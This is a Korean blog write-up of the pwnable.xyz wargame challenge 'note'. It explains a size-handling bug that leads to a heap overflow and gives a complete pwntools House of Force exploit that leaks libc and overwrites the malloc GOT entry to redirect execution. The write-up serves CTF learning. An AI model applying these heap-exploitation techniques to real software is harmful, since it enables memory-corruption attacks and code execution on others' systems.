make_note에 버그가 있다.
printf("Size: ");
size = readint(); note = (note *)malloc(size + 0x10); title = (char *)malloc(0x20uLL); if ( !note || !title ) { puts("Error"); exit(1); } printf("Title: "); read(0, title, 0x20uLL); note->title = title; printf("Note: "); note->note_size = read(0, note->note, size); notes[i] = note; |
readint는 내부에서 read로 문자열을 입력받고 strtoull 함수를 사용한다. size에 -1을 넣으면 read의 인자로 들어가는 size는 0xFFFFFFFFFFFFFFFF이 되고, size가 매우 커서 read에서 -1를 리턴해 note_size에는 0xFFFFFFFF가 들어간다. 이후 note를 수정해 heap overflow를 유발할 수 있다.
note free하는 루틴이 없기 때문에 House of Force로 풀면 된다. (House of Orange도 가능할 것 같은데 이 기법은 공부를 아직 깊게 하지 않아서 잘 모르겠다.)
1. title 주소를 &strtoull@got (0x601240) 으로 바꿔서 libc 주소를 leak 한다.
2. title 주소를 &(main_arena.top) 으로 바꿔서 top chunk 주소를 leak 한다.
3. &malloc@got - main_arena.top - 0x30 을 size로 넣어서 malloc을 트리거하면 title 포인터는 &malloc@got 값을 들고 있게 된다. title에 win 주소를 쓰면 malloc의 GOT를 덮을 수 있다.
4. make_note를 다시 실행해 win을 실행한다.
main_arena offset은 이 도구를 사용해서 찾았다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 |
from pwn import *
from typing import * import argparse def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def MakeNote(size:int, title:bytes, note:bytes) : p.writeafter(b'> ', b'1\x00') p.writeafter(b': ', str(size).encode()+b'\x00') p.writeafter(b': ', title) p.writeafter(b': ', note) def EditNote(idx:int, data:bytes) : p.writeafter(b'> ', b'2\x00') p.writeafter(b': ', str(idx).encode()+b'\x00') p.writeafter(b': ', data) def ListNote() -> List[Tuple[bytes, bytes]] : p.writeafter(b'> ', b'3\x00') notes = [] while True : data = p.readline(keepends=False) if data == b'Menu:' : break assert(b': ' in data) t = data.split(b': ') notes.append((t[0], t[1])) return notes def exploit() : strtoull_got = 0x601240 malloc_got = 0x601250 MakeNote(-1, b'A', b'') MakeNote(-1, b'B', b'') payload = p64(0) + p64(0x31) payload += b'A'*0x20 payload += p64(0) + p64(0x21) payload += p32(0xFFFFFFFF) + p32(0) payload += p64(strtoull_got) EditNote(0, payload) libc_strtoull = u64(ListNote()[1][0].ljust(8, b'\x00')) libc_base = libc_strtoull - 0x37EF0 libc_main_arena = libc_base + 0x393640 log_info('strtoull = '+hex(libc_strtoull)) log_info('libc base: '+hex(libc_base)) log_info('main_arena = '+hex(libc_main_arena)) payload = p64(0) + p64(0x31) payload += b'A'*0x20 payload += p64(0) + p64(0x21) payload += p32(0xFFFFFFFF) + p32(0) payload += p64(libc_main_arena+0x58) # (&main_arena)->top EditNote(0, payload) heap_top = u64(ListNote()[1][0].ljust(8, b'\x00')) log_info('top chunk: '+hex(heap_top)) payload = p64(0) + p64(0x31) payload += b'A'*0x20 payload += p64(0) + p64(0xFFFFFFFFFFFFFFFF) EditNote(1, payload) MakeNote((malloc_got-heap_top-0x30) & 0xFFFFFFFFFFFFFFFF, p64(0x4008A2), b'') p.writeafter(b'> ', b'1\x00') p.writeafter(b': ', b'A') p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30041, fam='ipv4') else : p = process('./challenge') exploit() |
Last update: 5/11/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / knum (0) | 2020.05.22 |
---|---|
pwnable.xyz / PvE (0) | 2020.05.12 |
pwnable.xyz / world (0) | 2020.05.11 |
pwnable.xyz / door (0) | 2020.05.06 |
pwnable.xyz / child (0) | 2020.05.06 |